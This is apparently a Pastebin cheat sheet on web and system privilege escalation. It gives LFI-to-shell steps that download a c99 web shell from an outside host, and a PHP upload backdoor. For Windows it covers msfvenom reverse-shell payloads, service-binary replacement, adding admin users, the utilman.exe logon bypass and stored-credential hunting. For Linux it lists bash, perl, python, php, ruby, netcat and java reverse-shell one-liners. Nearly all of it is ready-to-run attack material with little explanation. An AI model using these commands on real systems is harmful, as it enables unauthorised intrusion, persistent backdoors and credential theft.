Advertisement
iscomsa

Privilege Escalation - Web

Jun 28th, 2017
341
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.68 KB | None | 0 0
  1. LFI EXPLOITATION to shell :
  2. how to shell a website using "php://input" method via LFI
  3.  
  4. Target : http://www.site.com/index.php?page=
  5.  
  6. check url : http://www.site.com/index.php?page=/etc/passwd
  7. add null byte to url :
  8.  
  9. http://www.site.com/index.php?page=/proc/self/environ%00
  10. http://www.site.com/index.php?page=/proc/self/fd%00
  11. http://www.site.com/index.php?page=/etc/passwd%00
  12.  
  13. by using hacking bar or burp suite :
  14.  
  15. url : http://www.site.com/index.php?page=php://input
  16. post : <? system('uname -a'); ?>
  17. POST : <? system('ls'); ?>
  18. POST : <? system('id'); ?>
  19. POST : <? system('mv file.txt file.php'); ?>
  20. USING WGET : <? system('wget http://www.sh3ll.org/c99.txt -O nameofshell.php');?>
  21.  
  22.  
  23. <FORM ENCTYPE="multipart/form-data" ACTION=<?php echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>
  24.  
  25.  
  26. ############### change python exploit to exe exploit MS11-080 #####################
  27. install PyWin32
  28. PyInstaller
  29.  
  30. # python pyinstaller.py --onefile ms11-080.py
  31.  
  32.  
  33. ########################## Incorrect File and Service Permissions #############################
  34. check all service :
  35. for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
  36.  
  37. then check permission :
  38. for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" >> result.txt
  39. # “BUILTIN\Users” have full access which will be designated as “(F)”
  40. C:\Users\homer> cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
  41. C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(F)
  42.  
  43. after find vul service :
  44. create exe payload :
  45. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe -e x86/shikata_ga_nai -a x86 --platform Windows > exploit.exe
  46.  
  47. # Next rename the original ose.exe to something different and name exploit.exe to ose.exe
  48.  
  49. msf > use exploit/multi/handler
  50. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  51. payload => windows/meterpreter/reverse_tcp
  52. msf exploit(handler) > set lhost 192.168.134.135
  53. lhost => 192.168.134.135
  54. msf exploit(handler) > set lport 4444
  55. lport => 4444
  56. msf exploit(handler) > run
  57.  
  58. other ways create executable exe to add admin user :
  59.  
  60. # touch useradd.c
  61.  
  62. #include <stdlib.h> /* system, NULL, EXIT_FAILURE */
  63. int main ()
  64. {
  65. int i;
  66. i=system ("net localgroup administrators username /add");
  67. return 0;
  68. }
  69.  
  70. then compiler exploit :
  71. # i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
  72. replace the original ose.exe file with our own,
  73.  
  74. now restart service :
  75. wmic service ose call startservice
  76.  
  77. read more :
  78. https://www.toshellandback.com/2015/11/24/ms-priv-esc/
  79. http://www.fuzzysecurity.com/tutorials/16.html
  80. https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
  81. ####################### Privilege Escalation Part 1 Weak Service File Permission Outline #####################################
  82. 1- download this file :
  83. https://technet.microsoft.com/en-us/sysinternals/accesschk.aspx
  84.  
  85. 2- then Uploading Accesshk tool on the target
  86.  
  87. 3- Determination of Permissions over a Service
  88. Accesschk.exe –qwcu "Authenticated Users" *
  89. Accesschk.exe –qwcu "offsec" *
  90. Accesschk.exe –qwcu "Everyone" *
  91. cacls "c:\Program Files" /T | findstr Users
  92.  
  93. after result write this command with change apache to application vulnerable:
  94. # sc qa apache // sc qc <service name>
  95. Modifying the “Path to executable” of a windows service
  96. # sc config "Apache" binPath= "net localgroup administrators username /add"
  97. or
  98. sc config "Apache" binPath= "net user john hello /add && net localgroup Administrators john /add"
  99. # sc stop "Apache"
  100. # sc start "Apache"
  101. # net stop Apache
  102. # net start Apache
  103. # net localgroup administrators
  104.  
  105. read more :
  106. https://pentestlab.blog/2017/03/30/weak-service-permissions/
  107.  
  108.  
  109. ################# Windows Kernel Exploits #################
  110.  
  111. https://pentestlab.blog/category/privilege-escalation/page/2/
  112.  
  113.  
  114. ############### Abusing service misconfugration ############################
  115. ############### weak directory permssion ############################
  116. ############### abusing scheduled tasks ############################
  117. ############### crack hash user ############################
  118. ############### system privlage using at or schtasks ############################
  119. ################# Unquoted Service path Vulnerability ######################
  120. ################### edit service bainary ################################
  121. ################### check database unprivileged access to a database ,execute system commands through the database ###############
  122.  
  123. x86_64 ==> 64-bit kernel
  124. i686 ==> 32-bit kernel
  125.  
  126.  
  127.  
  128. #################### Add service run ############################3
  129. # at 13:01 /interactive cmd
  130. # schtasks
  131.  
  132. @echo off
  133. @break off title root
  134. Cls
  135. echo Creating service.
  136. sc create evil binpath= "cmd.exe /K start" type= own type= interact &gt; nul 2&gt;&amp;1
  137. echo Starting service.
  138. sc start evil &gt; nul 2&gt;&amp;1
  139. echo Standing by...
  140. ping 127.0.0.1 -n 4 &gt; nul 2&gt;&amp;1
  141. echo Removing service.
  142. echo.
  143. sc delete evil &gt; nul 2&gt;&amp;1
  144.  
  145. ################# Stored Credentials ############################
  146. Windows Files :
  147. C:\unattend.xml
  148. C:\Windows\Panther\Unattend.xml
  149. C:\Windows\Panther\Unattend\Unattend.xml
  150. C:\Windows\system32\sysprep.inf
  151. C:\Windows\system32\sysprep\sysprep.xml
  152. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
  153. C:\inetpub\wwwroot\web.config
  154.  
  155. C:\ProgramData\Microsoft\Group Policy\History\????\Machine\Preferences\Groups\Groups.xml
  156. check :
  157. Services\Services.xml
  158. ScheduledTasks\ScheduledTasks.xml
  159. Printers\Printers.xml
  160. Drives\Drives.xml
  161. DataSources\DataSources.xml
  162.  
  163. by command :
  164. findstr /si password *.txt
  165. findstr /si password *.xml
  166. findstr /si password *.ini
  167.  
  168. C:\> dir /b /s unattend.xml
  169. C:\> dir /b /s web.config
  170. C:\> dir /b /s sysprep.inf
  171. C:\> dir /b /s sysprep.xml
  172. C:\> dir /b /s *pass*
  173. C:\> dir /b /s vnc.ini
  174.  
  175. Elevating privileges by exploiting weak folder permissions
  176. https://www.greyhathacker.net/?p=738
  177.  
  178. Unattended Installs
  179. # %WINDIR%\Panther\Unattend\
  180. # %WINDIR%\Panther\
  181. # use auxiliary/scanner/dcerpc/windows_deployment _services
  182.  
  183. AlwaysInstallElevated :
  184. # reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  185. # reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  186.  
  187. # HKLM\SOFTWARE\Policies\Microsoft\Windows \Installer\AlwaysInstallElevated
  188. # HKCU\SOFTWARE\Policies\Microsoft\Window s\Installer\AlwaysInstallElevated
  189. This indicates that any MSI-file in the system has to be installed along with elevated privileges (NT AUTHORITY\SYSTEM)
  190. The Metasploit contains a special module
  191. # use exploit/windows/local/always_install_elevated
  192. creates the MSI-files
  193.  
  194. Lost auto launch :
  195. download to target machine :
  196. https://technet.microsoft.com/en-us/sysinternals/bb963902.aspx
  197. # autorunsc.exe -a | findstr /n /R "File\ not\ found"
  198. After, as you have probably guessed we need to exchange the ‘missing guy’ with our own one.
  199.  
  200.  
  201.  
  202. ############################ Privilege Escalation Bypass Windows Logons with the Utilman.exe ################
  203. # change file utilman.exe to cmd.exe
  204. cd windows\system32
  205. ren utilman.exe utilman.exe.bak
  206. copy cmd.exe utilman.exe
  207. # Once the computer boots up normally, press the key combination Windows Key + U and you should get a Command Prompt.
  208. then check username available :
  209. # net user
  210. # net user xp10 xp10@1234
  211. # net user NewGuy abc123 /add
  212. # net localgroup Administrators NewGuy /add
  213.  
  214.  
  215. ################### linux ###################################
  216. # identify OS & Kernal version
  217. uname -a
  218. cat /etc/lsb-release
  219. cat /etc/redhat-release
  220.  
  221. # check application in server :
  222. curl/wget
  223. ftp
  224. netcat
  225. scp/sftp
  226. smb
  227. tftp
  228.  
  229. to hid exploit use .
  230. /tmp/.nothing/exploit.c
  231.  
  232. enumeration tools to build exploit :
  233. gcc
  234. perl
  235. python
  236.  
  237. # check config files
  238.  
  239. #check script run by init or cron
  240.  
  241. #command or script use by admin
  242.  
  243. # check linux PATH
  244. printenv
  245.  
  246.  
  247. # check file permission Readable/Writeable
  248. find / -perm -2 ! -type l -ls
  249. find /etc/corn.* -perm -2 ! -type l -ls
  250.  
  251. find / -type f -perm -4000 -ls > tmp.txt //find suid files
  252. find / -type f -perm -4000 -ls | grep "flag00" > tmp.txt
  253.  
  254. find file rwxrwxrwx :
  255.  
  256. # check file
  257. find / -xdev \( -perm -777 \) -type f -print0 -exec ls -l {} \;
  258. find / -xdev \( -perm -4000 \) -type f -print0 -exec ls -l {} \;
  259.  
  260. after find anyfile 777 add Reverse Shell
  261.  
  262. Reverse Shell :
  263. Bash :
  264. bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  265.  
  266. PERL:
  267. perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  268.  
  269. Python:
  270. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  271.  
  272. PHP:
  273. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  274.  
  275. Ruby:
  276. ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  277.  
  278. Netcat:
  279. nc -e /bin/sh 10.0.0.1 1234
  280.  
  281. Java:
  282. r = Runtime.getRuntime()
  283. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  284. p.waitFor()
  285.  
  286.  
  287.  
  288. Articles :
  289.  
  290. https://www.toshellandback.com/2015/11/24/ms-priv-esc/
  291. https://github.com/AlessandroZ/BeRoot
  292. https://attack.mitre.org/wiki/Privilege_Escalation
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement